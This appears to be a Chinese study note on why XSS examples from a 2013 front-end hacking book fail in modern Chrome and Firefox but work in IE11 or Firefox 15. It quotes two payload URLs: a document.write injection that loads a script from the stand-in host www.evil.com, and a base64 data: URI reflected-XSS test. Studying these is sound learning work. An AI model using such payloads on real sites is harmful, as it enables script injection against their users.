问题

这本书是13年出版的,随着技术的更新换代,所以某些漏洞已经被一些浏览器厂商修复。


比如75页的

http://www.foo.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")

我本地测试的时候,使用谷歌,火狐浏览器都没有效果,都没有执行成功。结果使用IE11就弹出alert窗口了。


还有77页的

http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4%2b

需要使用Firefox15版本才能执行成功。

就连IE8也会出错,会提示Internet Explorer 无法显示该页面。IE之所以不成功,可能是因为xss 利用"data:"来xss许多把"javascript:"关键字进行了过滤这篇文章提到的IE对data uri scheme有严格的限制。

使用新版本谷歌浏览器则提示,

This site can’t be reached The webpage at http://192.168.31.148/web_qianduan_heike_jiemi/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b might be temporarily down or it may have moved permanently to a new web address.
ERR_UNSAFE_REDIRECT

中文是:

无法显示此网页

网址为 data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4= 的网页可能暂时无法连接,或者它已永久性地移动到了新网址。
错误代码:ERR_UNSAFE_REDIRECT

新版本火狐则是空白页面。

解决

书上前言也说了:

浏览器更新换代的速度非常快,也许在你看到本书时,一些技巧已经不适用了。没关系,因为思想更重要。

接着提到了当时测试用的浏览器:Firefox15,Chrome 21, IE9.

所以在出现问题的时候,可以尝试使用老一点的浏览器再来测试。